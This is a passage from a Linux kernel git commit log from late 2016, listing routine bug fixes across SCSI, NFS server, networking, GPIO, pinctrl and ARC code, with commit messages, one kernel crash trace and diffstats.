Cc: # v3.18+ Signed-off-by: Bill Kuzeja Acked-by: Himanshu Madhani Signed-off-by: Martin K. Petersen drivers/scsi/qla2xxx/qla_os.c | 2 ++ 1 file changed, 2 insertions(+) commit 3716a891d65cc04217da1af5f2bccb7eaf6092c2 Author: Chen-Yu Tsai Date: Tue Nov 1 14:31:55 2016 +0800 ASoC: sun4i-codec: Enable bus clock after getting GPIO In the current probe function the GPIO is acquired after the codec's bus clock is enabled. However if it fails to acquire the GPIO due to a deferred probe, it does not disable the bus clock before bailing out. This would result in the clock being enabled multiple times. Move the code that enables the bus clock after the part that gets the GPIO, maintaining a separation between resource acquisition and device enablement in the probe function. Signed-off-by: Chen-Yu Tsai Signed-off-by: Mark Brown sound/soc/sunxi/sun4i-codec.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit f46c445b79906a9da55c13e0a6f6b6a006b892fe Author: Chuck Lever Date: Sat Oct 29 18:19:03 2016 -0400 nfsd: Fix general protection fault in release_lock_stateid() When I push NFSv4.1 / RDMA hard, (xfstests generic/089, for example), I get this crash on the server: Oct 28 22:04:30 klimt kernel: general protection fault: 0000 [#1] SMP DEBUG_PAGEALLOC Oct 28 22:04:30 klimt kernel: Modules linked in: cts rpcsec_gss_krb5 iTCO_wdt iTCO_vendor_support sb_edac edac_core x86_pkg_temp_thermal intel_powerclamp coretemp kvm_intel kvm btrfs irqbypass crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel lrw gf128mul glue_helper ablk_helper cryptd xor pcspkr raid6_pq i2c_i801 i2c_smbus lpc_ich mfd_core sg mei_me mei ioatdma shpchp wmi ipmi_si ipmi_msghandler rpcrdma ib_ipoib rdma_ucm acpi_power_meter acpi_pad ib_ucm ib_uverbs ib_umad rdma_cm ib_cm iw_cm nfsd auth_rpcgss nfs_acl lockd grace sunrpc ip_tables xfs libcrc32c mlx4_ib mlx4_en ib_core sr_mod cdrom sd_mod ast drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops ttm drm crc32c_intel igb ahci libahci ptp mlx4_core pps_core dca libata i2c_algo_bit i2c_core dm_mirror dm_region_hash dm_log dm_mod Oct 28 22:04:30 klimt kernel: CPU: 7 PID: 1558 Comm: nfsd Not tainted 4.9.0-rc2-00005-g82cd754 #8 Oct 28 22:04:30 klimt kernel: Hardware name: Supermicro Super Server/X10SRL-F, BIOS 1.0c 09/09/2015 Oct 28 22:04:30 klimt kernel: task: ffff880835c3a100 task.stack: ffff8808420d8000 Oct 28 22:04:30 klimt kernel: RIP: 0010:[] [] release_lock_stateid+0x1f/0x60 [nfsd] Oct 28 22:04:30 klimt kernel: RSP: 0018:ffff8808420dbce0 EFLAGS: 00010246 Oct 28 22:04:30 klimt kernel: RAX: ffff88084e6660f0 RBX: ffff88084e667020 RCX: 0000000000000000 Oct 28 22:04:30 klimt kernel: RDX: 0000000000000007 RSI: 0000000000000000 RDI: ffff88084e667020 Oct 28 22:04:30 klimt kernel: RBP: ffff8808420dbcf8 R08: 0000000000000001 R09: 0000000000000000 Oct 28 22:04:30 klimt kernel: R10: ffff880835c3a100 R11: ffff880835c3aca8 R12: 6b6b6b6b6b6b6b6b Oct 28 22:04:30 klimt kernel: R13: ffff88084e6670d8 R14: ffff880835f546f0 R15: ffff880835f1c548 Oct 28 22:04:30 klimt kernel: FS: 0000000000000000(0000) GS:ffff88087bdc0000(0000) knlGS:0000000000000000 Oct 28 22:04:30 klimt kernel: CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 Oct 28 22:04:30 klimt kernel: CR2: 00007ff020389000 CR3: 0000000001c06000 CR4: 00000000001406e0 Oct 28 22:04:30 klimt kernel: Stack: Oct 28 22:04:30 klimt kernel: ffff88084e667020 0000000000000000 ffff88084e6670d8 ffff8808420dbd20 Oct 28 22:04:30 klimt kernel: ffffffffa05ac80d ffff880835f54548 ffff88084e640008 ffff880835f545b0 Oct 28 22:04:30 klimt kernel: ffff8808420dbd70 ffffffffa059803d ffff880835f1c768 0000000000000870 Oct 28 22:04:30 klimt kernel: Call Trace: Oct 28 22:04:30 klimt kernel: [] nfsd4_free_stateid+0xfd/0x1b0 [nfsd] Oct 28 22:04:30 klimt kernel: [] nfsd4_proc_compound+0x40d/0x690 [nfsd] Oct 28 22:04:30 klimt kernel: [] nfsd_dispatch+0xd4/0x1d0 [nfsd] Oct 28 22:04:30 klimt kernel: [] svc_process_common+0x3d9/0x700 [sunrpc] Oct 28 22:04:30 klimt kernel: [] svc_process+0xf4/0x330 [sunrpc] Oct 28 22:04:30 klimt kernel: [] nfsd+0xfa/0x160 [nfsd] Oct 28 22:04:30 klimt kernel: [] ? nfsd_destroy+0x170/0x170 [nfsd] Oct 28 22:04:30 klimt kernel: [] kthread+0x10b/0x120 Oct 28 22:04:30 klimt kernel: [] ? kthread_stop+0x280/0x280 Oct 28 22:04:30 klimt kernel: [] ret_from_fork+0x2a/0x40 Oct 28 22:04:30 klimt kernel: Code: c3 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 41 55 41 54 53 48 8b 87 b0 00 00 00 48 89 fb 4c 8b a0 98 00 00 00 <49> 8b 44 24 20 48 8d b8 80 03 00 00 e8 10 66 1a e1 48 89 df e8 Oct 28 22:04:30 klimt kernel: RIP [] release_lock_stateid+0x1f/0x60 [nfsd] Oct 28 22:04:30 klimt kernel: RSP Oct 28 22:04:30 klimt kernel: ---[ end trace cf5d0b371973e167 ]--- Jeff Layton says: > Hm...now that I look though, this is a little suspicious: > > struct nfs4_openowner *oo = openowner(stp->st_openstp->st_stateowner); > > I wonder if it's possible for the openstateid to have already been > destroyed at this point. > > We might be better off doing something like this to get the client pointer: > > stp->st_stid.sc_client; > > ...which should be more direct and less dependent on other stateids > staying valid. With the suggested change, I am no longer able to reproduce the above oops. v2: Fix unhash_lock_stateid() as well Fix-suggested-by: Jeff Layton Fixes: 42691398be08 ('nfsd: Fix race between FREE_STATEID and LOCK') Signed-off-by: Chuck Lever Reviewed-by: Jeff Layton Cc: stable@vger.kernel.org Signed-off-by: J. Bruce Fields fs/nfsd/nfs4state.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 8d42629be0cb6c58a5c77cd02e47974c0e724e63 Author: Chuck Lever Date: Fri Oct 28 22:22:33 2016 -0400 svcrdma: backchannel cannot share a page for send and rcv buffers The underlying transport releases the page pointed to by rq_buffer during xprt_rdma_bc_send_request. When the backchannel reply arrives, rq_rbuffer then points to freed memory. Fixes: 68778945e46f ('SUNRPC: Separate buffer pointers for RPC ...') Signed-off-by: Chuck Lever Cc: Jeff Layton Signed-off-by: J. Bruce Fields net/sunrpc/xprtrdma/svc_rdma_backchannel.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit 812d47889a8e418d7bea9bec383581a34c19183e Author: Jason Gunthorpe Date: Wed Oct 19 15:03:41 2016 -0600 gpio/mvebu: Use irq_domain_add_linear This fixes the irq allocation in this driver to not print: irq: Cannot allocate irq_descs @ IRQ34, assuming pre-allocated irq: Cannot allocate irq_descs @ IRQ66, assuming pre-allocated Which happens because the driver already called irq_alloc_descs() and so the change to use irq_domain_add_simple resulted in calling irq_alloc_descs() twice. Modernize the irq allocation in this driver to use the irq_domain_add_linear flow directly and eliminate the use of irq_domain_add_simple/legacy Fixes: ce931f571b6d ("gpio/mvebu: convert to use irq_domain_add_simple()") Signed-off-by: Jason Gunthorpe Signed-off-by: Linus Walleij drivers/gpio/gpio-mvebu.c | 92 ++++++++++++++++++++++------------------------- 1 file changed, 43 insertions(+), 49 deletions(-) commit df3d422cbac685da882e4c239dfda07de33d431b Author: Bart Van Assche Date: Tue Nov 1 08:19:57 2016 -0600 scsi: scsi_dh_alua: Fix a reference counting bug The code at the end of alua_rtpg_work() is as follows: scsi_device_put(sdev); kref_put(&pg->kref, release_port_group); In other words, alua_rtpg_queue() must hold an sdev reference and a pg reference before queueing rtpg work. If no rtpg work is queued no additional references should be held when alua_rtpg_queue() returns. If no rtpg work is queued, ensure that alua_rtpg_queue() only gives up the sdev reference if that reference was obtained by the same alua_rtpg_queue() call. Signed-off-by: Bart Van Assche Reported-by: Tang Junhui Cc: Hannes Reinecke Cc: Tang Junhui Cc: Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/device_handler/scsi_dh_alua.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit aac173e9618faadf8f92af6cc05e64f7acc64d79 Author: David Jeffery Date: Fri Oct 28 12:27:26 2016 -0400 scsi: vmw_pvscsi: return SUCCESS for successful command aborts The vmw_pvscsi driver reports most successful aborts as FAILED to the scsi error handler. This is do to a misunderstanding of how completion_done() works and its interaction with a successful wait using wait_for_completion_timeout(). The vmw_pvscsi driver is expecting completion_done() to always return true if complete() has been called on the completion structure. But completion_done() returns true after complete() has been called only if no function like wait_for_completion_timeout() has seen the completion and cleared it as part of successfully waiting for the completion. Instead of using completion_done(), vmw_pvscsi should just use the return value from wait_for_completion_timeout() to know if the wait timed out or not. [mkp: bumped driver version per request] Signed-off-by: David Jeffery Reviewed-by: Laurence Oberman Reviewed-by: Ewan D. Milne Acked-by: Jim Gill Signed-off-by: Martin K. Petersen drivers/scsi/vmw_pvscsi.c | 5 +++-- drivers/scsi/vmw_pvscsi.h | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) commit 6d3a56ed098566bc83d6c2afa74b4199c12ea074 Author: Sreekanth Reddy Date: Fri Oct 28 10:09:12 2016 +0530 scsi: mpt3sas: Fix for block device of raid exists even after deleting raid disk While merging mpt3sas & mpt2sas code, we added the is_warpdrive check condition on the wrong line --------------------------------------------------------------------------- scsih_target_alloc(struct scsi_target *starget) sas_target_priv_data->handle = raid_device->handle; sas_target_priv_data->sas_address = raid_device->wwid; sas_target_priv_data->flags |= MPT_TARGET_FLAGS_VOLUME; - raid_device->starget = starget; + sas_target_priv_data->raid_device = raid_device; + if (ioc->is_warpdrive) + raid_device->starget = starget; } spin_unlock_irqrestore(&ioc->raid_device_lock, flags); return 0; ------------------------------------------------------------------------------ That check should be for the line sas_target_priv_data->raid_device = raid_device; Due to above hunk, we are not initializing raid_device's starget for raid volumes, and so during raid disk deletion driver is not calling scsi_remove_target() API as driver observes starget field of raid_device's structure as NULL. Signed-off-by: Sreekanth Reddy Cc: # v4.4+ Fixes: 7786ab6aff9 ("mpt3sas: Ported WarpDrive product SSS6200 support") Signed-off-by: Martin K. Petersen drivers/scsi/mpt3sas/mpt3sas_scsih.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1fdd14279eab2e9f79745631379f0c53cb8f9a5a Author: tang.junhui Date: Fri Oct 28 15:54:07 2016 +0800 scsi: scsi_dh_alua: fix missing kref_put() in alua_rtpg_work() Reference count of pg leaks in alua_rtpg_work() since kref_put() is not called to decrease the reference count of pg when the condition pg->rtpg_sdev==NULL satisfied (actually it is easy to satisfy), it would cause memory of pg leakage. Signed-off-by: tang.junhui Cc: Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/device_handler/scsi_dh_alua.c | 1 + 1 file changed, 1 insertion(+) commit e0029dcb5b6e1c23e68f578ce7a3d6c5caba0501 Author: Hannes Reinecke Date: Mon Oct 31 21:06:58 2016 +0100 libata-scsi: Fixup ata_gen_passthru_sense() There's a typo in ata_gen_passthru_sense(), where the first byte would be overwritten incorrectly later on. Reported-by: Charles Machalow Signed-off-by: Hannes Reinecke Fixes: 11093cb1ef56 ("libata-scsi: generate correct ATA pass-through sense") Cc: stable@vger.kernel.org # v4.7+ Signed-off-by: Tejun Heo drivers/ata/libata-scsi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8ec4b736d709562193566156c0dd40e327df2cbb Author: Mauro Carvalho Chehab Date: Sat Oct 29 08:10:03 2016 -0200 Documentation/ABI: ibm_rtl: The "What:" fields are incomplete The "What:" field at the ABI should describe the location of the ABI, e. g. the position under a mounted sysfs. However, this file has only the basename without the path. Fix it. Cc: Vernon Mauery Cc: platform-driver-x86@vger.kernel.org Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Darren Hart Documentation/ABI/testing/sysfs-devices-system-ibm-rtl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b9b84fc07dbc6ac74d85f1b1a401b41c403fecb1 Author: Russell King Date: Tue Nov 1 10:50:01 2016 +0000 net: mv643xx_eth: ensure coalesce settings survive read-modify-write The coalesce settings behave badly when changing just one value: ... # ethtool -c eth0 rx-usecs: 249 ... # ethtool -C eth0 tx-usecs 250 ... # ethtool -c eth0 rx-usecs: 248 This occurs due to rounding errors when calculating the microseconds value - the divisons round down. This causes (eg) the rx-usecs to decrease by one every time the tx-usecs value is set as per the above. Fix this by making the divison round-to-nearest. Signed-off-by: Russell King Reviewed-by: Andrew Lunn Signed-off-by: David S. Miller drivers/net/ethernet/marvell/mv643xx_eth.c | 2 ++ 1 file changed, 2 insertions(+) commit 42fb18fd5852dba9c43ac008558e4bc8062bda57 Author: Christophe Jaillet Date: Tue Nov 1 08:10:53 2016 +0100 net/mlx5: Simplify a test 'create_root_ns()' does not return an error pointer, so the test can be simplified to be more consistent. Signed-off-by: Christophe JAILLET Acked-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/fs_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e7947ea770d0de434d38a0f823e660d3fd4bebb5 Author: Isaac Boukris Date: Tue Nov 1 02:41:35 2016 +0200 unix: escape all null bytes in abstract unix domain socket Abstract unix domain socket may embed null characters, these should be translated to '@' when printed out to proc the same way the null prefix is currently being translated. This helps for tools such as netstat, lsof and the proc based implementation in ss to show all the significant bytes of the name (instead of getting cut at the first null occurrence). Signed-off-by: Isaac Boukris Signed-off-by: David S. Miller net/unix/af_unix.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7bb9f731d1026bd48b84cee7853cba7f5678193c Author: Timur Tabi Date: Mon Oct 31 18:18:42 2016 -0500 net: qcom/emac: use correct value for SGMII_LN_UCDR_SO_GAIN_MODE0 The documentation says that SGMII_LN_UCDR_SO_GAIN_MODE0 should be set to 0, not 6, on the Qualcomm Technologies QDF2432. Signed-off-by: Timur Tabi Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac-sgmii.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d483ff232ceb00f8f4b2199c4d2b69c1c85aacb8 Merge: 2c8657d f126df8 Author: David S. Miller Date: Tue Nov 1 12:04:53 2016 -0400 Merge branch 'xgene-coalescing-bugs' Iyappan Subramanian says: ==================== drivers: net: xgene: Fix coalescing bugs This patch set fixes the following, 1. Since ethernet v1 hardware has a bug related to coalescing, disabling this feature 2. Fixing ethernet v2 hardware, interrupt trigger region id to 2, to kickoff coalescing ==================== Signed-off-by: Iyappan Subramanian Signed-off-by: David S. Miller commit f126df8503275facc96dd05a818086afbb89b77d Author: Iyappan Subramanian Date: Mon Oct 31 16:00:27 2016 -0700 drivers: net: xgene: fix: Coalescing values for v2 hardware Changing the interrupt trigger region id to 2 and the corresponding threshold set0/set1 values to 8/16. Signed-off-by: Iyappan Subramanian Signed-off-by: Toan Le Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_hw.h | 2 ++ drivers/net/ethernet/apm/xgene/xgene_enet_ring2.c | 12 +++++++----- 2 files changed, 9 insertions(+), 5 deletions(-) commit b5a4a3eb4ec7382780aa153224780b9ecdc76ceb Author: Iyappan Subramanian Date: Mon Oct 31 16:00:26 2016 -0700 drivers: net: xgene: fix: Disable coalescing on v1 hardware Since ethernet v1 hardware has a bug related to coalescing, disabling this feature. Signed-off-by: Iyappan Subramanian Signed-off-by: Toan Le Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_hw.c | 12 ------------ drivers/net/ethernet/apm/xgene/xgene_enet_main.c | 3 ++- 2 files changed, 2 insertions(+), 13 deletions(-) commit 4efca4ed05cbdfd13ec3e8cb623fb77d6e4ab187 Author: Nicholas Piggin Date: Tue Nov 1 12:46:19 2016 +1100 kbuild: modversions for EXPORT_SYMBOL() for asm Allow architectures to create asm/asm-prototypes.h file that provides C prototypes for exported asm functions, which enables proper CRC versions to be generated for them. Signed-off-by: Nicholas Piggin Signed-off-by: Michal Marek scripts/Makefile.build | 78 ++++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 72 insertions(+), 6 deletions(-) commit f6b2db084b65b9dc0f910bc48d5f77c0e5166dc6 Author: Stephen Hemminger Date: Tue Nov 1 00:01:59 2016 -0700 vmbus: make sysfs names consistent with PCI In commit 9a56e5d6a0ba ("Drivers: hv: make VMBus bus ids persistent") the name of vmbus devices in sysfs changed to be (in 4.9-rc1): /sys/bus/vmbus/vmbus-6aebe374-9ba0-11e6-933c-00259086b36b The prefix ("vmbus-") is redundant and differs from how PCI is represented in sysfs. Therefore simplify to: /sys/bus/vmbus/6aebe374-9ba0-11e6-933c-00259086b36b Please merge this before 4.9 is released and the old format has to live forever. Signed-off-by: Stephen Hemminger Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/vmbus_drv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d6124b409ca33c100170ffde51cd8dff761454a1 Author: Johan Hovold Date: Tue Nov 1 12:13:31 2016 +0100 uwb: fix device reference leaks This subsystem consistently fails to drop the device reference taken by class_find_device(). Note that some of these lookup functions already take a reference to the returned data, while others claim no reference is needed (or does not seem need one). Fixes: 183b9b592a62 ("uwb: add the UWB stack (core files)") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/uwb/lc-rc.c | 16 +++++++++++++--- drivers/uwb/pal.c | 2 ++ 2 files changed, 15 insertions(+), 3 deletions(-) commit afe4155ce940d0c2a8fa3da5a29ea46f98052a73 Merge: a909d3e fd9afd3 Author: Greg Kroah-Hartman Date: Tue Nov 1 09:00:56 2016 -0600 Merge tag 'fixes-for-v4.9-rc4' of git://git.kernel.org/pub/scm/linux/kernel/git/balbi/usb into usb-linus Felipe writes: usb: fixes for v4.9-rc4 Three more fixes for current -rc cycle. One randbuild fix on dwc3-st which was lacking , removal of IRQ throttling for networking gadgets and a fix for dwc3's error handling on failed initialization. commit fd9afd3cbe404998d732be6cc798f749597c5114 Author: Felipe Balbi Date: Tue Nov 1 13:20:22 2016 +0200 usb: gadget: u_ether: remove interrupt throttling According to Dave Miller "the networking stack has a hard requirement that all SKBs which are transmitted must have their completion signalled in a fininte amount of time. This is because, until the SKB is freed by the driver, it holds onto socket, netfilter, and other subsystem resources." In summary, this means that using TX IRQ throttling for the networking gadgets is, at least, complex and we should avoid it for the time being. Cc: Reported-by: Ville Syrjälä Tested-by: Ville Syrjälä Suggested-by: David Miller Signed-off-by: Felipe Balbi drivers/usb/gadget/function/u_ether.c | 8 -------- 1 file changed, 8 deletions(-) commit 405c0759712f57b680f66aee9c55cd06ad1cbdef Author: Andy Lutomirski Date: Mon Oct 31 08:11:43 2016 -0700 fork: Add task stack refcounting sanity check and prevent premature task stack freeing If something goes wrong with task stack refcounting and a stack refcount hits zero too early, warn and leak it rather than potentially freeing it early (and silently). Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Oleg Nesterov Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/f29119c783a9680a4b4656e751b6123917ace94b.1477926663.git.luto@kernel.org Signed-off-by: Ingo Molnar kernel/fork.c | 4 ++++ 1 file changed, 4 insertions(+) commit c25badc9ceb612c6cc227a6fc4b0aaf678e3bcf9 Author: Laura Abbott Date: Wed Oct 19 15:53:52 2016 -0700 cpupower: Correct return type of cpu_power_is_cpu_online() in cpufreq-set When converting to a shared library in ac5a181d065d ("cpupower: Add cpuidle parts into library"), cpu_freq_cpu_exists() was converted to cpupower_is_cpu_online(). cpu_req_cpu_exists() returned 0 on success and -ENOSYS on failure whereas cpupower_is_cpu_online returns 1 on success. Check for the correct return value in cpufreq-set. Link: https://bugzilla.redhat.com/show_bug.cgi?id=1374212 Fixes: ac5a181d065d (cpupower: Add cpuidle parts into library) Reported-by: Julian Seward Signed-off-by: Laura Abbott Acked-by: Thomas Renninger Cc: 4.7+ # 4.7+ Signed-off-by: Rafael J. Wysocki tools/power/cpupower/utils/cpufreq-set.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit b0a6af8b34c9ad20894aa46f85f4bf59d444f286 Author: Peter Wu Date: Mon Oct 31 23:48:22 2016 +0100 drm/nouveau/acpi: fix check for power resources support Check whether the kernel really supports power resources for a device, otherwise the power might not be removed when the device is runtime suspended (DSM should still work in these cases where PR does not). This is a workaround for a problem where ACPICA and Windows 10 differ in behavior. ACPICA does not correctly enumerate power resources within a conditional block (due to delayed execution of such blocks) and as a result power_resources is set to false even if _PR3 exists. Fixes: 692a17dcc292 ("drm/nouveau/acpi: fix lockup with PCIe runtime PM") Link: https://bugs.freedesktop.org/show_bug.cgi?id=98398 Reported-and-tested-by: Rick Kerkhof Reviewed-by: Mika Westerberg Cc: stable@vger.kernel.org # v4.8+ Signed-off-by: Peter Wu Signed-off-by: Dave Airlie drivers/gpu/drm/nouveau/nouveau_acpi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2c8657d226ad9f02030e12ce7db3076ead9c16a8 Merge: fcdefcc deb507f Author: David S. Miller Date: Mon Oct 31 21:01:03 2016 -0400 Merge tag 'linux-can-fixes-for-4.9-20161031' of git://git.kernel.org/pub/scm/linux/kernel/git/mkl/linux-can Marc Kleine-Budde says: ==================== pull-request: can 2016-10-31 this is a pull request of two patches for the upcoming v4.9 release. The first patch is by Lukas Resch for the sja1000 plx_pci driver that adds support for Moxa CAN devices. The second patch is by Oliver Hartkopp and fixes a potential kernel panic in the CAN broadcast manager. ==================== Signed-off-by: David S. Miller commit fcdefccac976ee51dd6071832b842d8fb41c479c Author: Andy Gospodarek Date: Mon Oct 31 13:32:03 2016 -0400 bgmac: stop clearing DMA receive control register right after it is set Current bgmac code initializes some DMA settings in the receive control register for some hardware and then immediately clears those settings. Not clearing those settings results in ~420Mbps *improvement* in throughput; this system can now receive frames at line-rate on Broadcom 5871x hardware compared to ~520Mbps today. I also tested a few other values but found there to be no discernible difference in CPU utilization even if burst size and prefetching values are different. On the hardware tested there was no need to keep the code that cleared all but bits 16-17, but since there is a wide variety of hardware that used this driver (I did not look at all hardware docs for hardware using this IP block), I find it wise to move this call up and clear bits just after reading the default value from the hardware rather than completely removing it. This is a good candidate for -stable >=3.14 since that is when the code that was supposed to improve performance (but did not) was introduced. Signed-off-by: Andy Gospodarek Fixes: 56ceecde1f29 ("bgmac: initialize the DMA controller of core...") Cc: Hauke Mehrtens Acked-by: Hauke Mehrtens Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bgmac.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 8f6d9eb2a3f38f1acd04efa0aeb8b81f5373c923 Author: Noam Camus Date: Sun Oct 30 09:48:42 2016 +0200 ARC: [SMP] avoid overriding present cpumask At smp_prepare_cpus() we set present cpu mask as part of init for all CPUs at range [0-max_cpus]. This is done without checking if this mask is already being set. At platform of eznps this mask is already being initialized at smp_init_cpus() by using hook plat_smp_ops.init_early_smp(). So to avoid overriding of present cpu mask we check the number of bits which are set in this mask. At the begin only bit for boot CPU is set so if number of bits already set is no more than one we can be assure that there is no overriding of this mask. Signed-off-by: Noam Camus Signed-off-by: Vineet Gupta arch/arc/kernel/smp.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 6227e9f0e9ee988e2cfb425b02ef17f233b1d8d7 Author: Alexey Brodkin Date: Mon Oct 31 15:59:11 2016 +0300 ARC: Enable PERF_EVENTS in nSIM driven platforms Now when we have properly working performance counters in nSIM even with interrupt support (fix should be a part of upcoming nSIM engineering build 2016.12-005) we may enable perf support by default for all platforms that use nSIM for ARC cores simulation. Note 1: PCT node was missing for some reason in nsimosci.dts while all other nSIM-related .dts files already had PCT node for quite some time, so adding it now. Note 2: All defconfigs were regenerated with "make savedefconfig" which led to some clean-ups in nsimosci_hs_smp_defconfig: CONFIG_FRAMEBUFFER_CONSOLE=y was removed because it is automatically selected now by DRM. Signed-off-by: Alexey Brodkin Signed-off-by: Vineet Gupta arch/arc/boot/dts/axc001.dtsi | 2 +- arch/arc/boot/dts/nsim_700.dts | 2 +- arch/arc/boot/dts/nsimosci.dts | 4 ++++ arch/arc/configs/nsim_700_defconfig | 1 + arch/arc/configs/nsim_hs_defconfig | 1 + arch/arc/configs/nsim_hs_smp_defconfig | 1 + arch/arc/configs/nsimosci_defconfig | 1 + arch/arc/configs/nsimosci_hs_defconfig | 1 + arch/arc/configs/nsimosci_hs_smp_defconfig | 3 +-- 9 files changed, 12 insertions(+), 4 deletions(-) commit 5f7f8f6edbf860abf18149a64be036d4be5e2993 Merge: a909d3e 1cfa126 Author: Dave Airlie Date: Tue Nov 1 09:05:54 2016 +1000 Merge branch 'drm-fixes-staging' of ssh://people.freedesktop.org/~/linux into drm-fixes Pull the staging fixes tree I had into rc3 to make real -fixes again. commit 9999fe5df58773489b9564467b5c8cfb364e0b80 Author: Stefan Agner Date: Tue Oct 18 14:09:15 2016 -0700 pinctrl: imx: reset group index on probe Group index is incremented on every new group parsed. Since the field is part of struct imx_pinctrl_soc_info, which is typically a global variable passed by the individual pinctrl-imx.c based driver, it does not get cleared automatically when re-probing the driver. This lead imx_pinctrl_parse_functions passing a group pointer which is outside of the allocated group space on second probe and onwards. Typically this ended up in a NULL pointer dereference when accessing the name field like this: Unable to handle kernel NULL pointer dereference at virtual address 00000000 ... PC is at strcmp+0x18/0x44 LR is at imx_dt_node_to_map+0xc4/0x290 Avoid this by setting group_index to 0 on probe. This has been observed when using DEBUG_TEST_DRIVER_REMOVE. Signed-off-by: Stefan Agner Signed-off-by: Linus Walleij drivers/pinctrl/freescale/pinctrl-imx.c | 1 + 1 file changed, 1 insertion(+) commit 0553d8d0b03ad58f9917460c40a2e2b680f5bfdb Author: Alexandre TORGUE Date: Thu Oct 20 15:26:52 2016 +0200 pinctrl: stm32: move gpio irqs binding to optional stm32 pinctrl driver could be probed even if no interrupt controller is defined to manage gpio irqs. Entries related to gpio irq management are moved to optional. Signed-off-by: Alexandre TORGUE Signed-off-by: Linus Walleij Documentation/devicetree/bindings/pinctrl/st,stm32-pinctrl.txt | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 1064a2b41579d77af16164f5dd7bc6948ba1d5be Author: Alexandre TORGUE Date: Thu Oct 20 15:26:51 2016 +0200 pinctrl: stm32: remove dependency with interrupt controller This patch allows to probe stm32 pinctrl driver even if no interrupt controller is defined to manage gpio irqs. Signed-off-by: Alexandre TORGUE Signed-off-by: Linus Walleij drivers/pinctrl/stm32/pinctrl-stm32.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit c35e7790dcbe74b0c85f4c26bbe7e15510422684 Author: Patrice Chotard Date: Tue Oct 18 09:16:28 2016 +0200 pinctrl: st: don't specify default interrupt trigger Thanks to 332e99d5ae4 which now alerts of default trigger usage when configuring interrupts. Signed-off-by: Patrice Chotard Acked-by: Peter Griffin Signed-off-by: Linus Walleij drivers/pinctrl/pinctrl-st.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 091c531b09c151c2d712a8f347009ca3698a2467 Author: Ray Jui Date: Mon Oct 17 18:41:41 2016 -0700 pinctrl: iproc: Fix iProc and NSP GPIO support Since commit 44a7185c2ae6 ("of/platform: Add common method to populate default bus"), ARM64 platform devices are populated at the arch_initcall_sync level; as a result, the platform_driver_probe calls in both the iProc and NSP GPIO drivers fail with -ENODEV since by that time the platform device was not yet registered. Replace platform_driver_probe with platform_driver_register, that allow the device to be register later Fixes: 44a7185c2ae6 ("of/platform: Add common method to populate default bus") Signed-off-by: Ray Jui Tested-by: Eric Anholt Signed-off-by: Linus Walleij drivers/pinctrl/bcm/pinctrl-iproc-gpio.c | 2 +- drivers/pinctrl/bcm/pinctrl-nsp-gpio.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit c7e9d39831a31682285cc31ddf7dd06c0fe59138 Author: Masahiro Yamada Date: Tue Oct 25 10:47:44 2016 +0900 gpio: of: fix GPIO drivers with multiple gpio_chip for a single node Sylvain Lemieux reports the LPC32xx GPIO driver is broken since commit 762c2e46c059 ("gpio: of: remove of_gpiochip_and_xlate() and struct gg_data"). Probably, gpio-etraxfs.c and gpio-davinci.c are broken too. Those drivers register multiple gpio_chip that are associated to a single OF node, and their own .of_xlate() checks if the passed gpio_chip is valid. Now, the problem is of_find_gpiochip_by_node() returns the first gpio_chip found to match the given node. So, .of_xlate() fails, except for the first GPIO bank. Reverting the commit could be a solution, but I do not want to go back to the mess of struct gg_data. Another solution here is to take the match by a node pointer and the success of .of_xlate(). It is a bit clumsy to call .of_xlate twice; for gpio_chip matching and for really getting the gpio_desc index. Perhaps, our long-term goal might be to convert the drivers to single chip registration, but this commit will solve the problem until then. Fixes: 762c2e46c059 ("gpio: of: remove of_gpiochip_and_xlate() and struct gg_data") Signed-off-by: Masahiro Yamada Reported-by: Sylvain Lemieux Tested-by: David Lechner Signed-off-by: Linus Walleij drivers/gpio/gpiolib-of.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 953b956a2e6d35298e684f251bad98ea6c96f982 Author: Lars-Peter Clausen Date: Mon Oct 24 13:59:15 2016 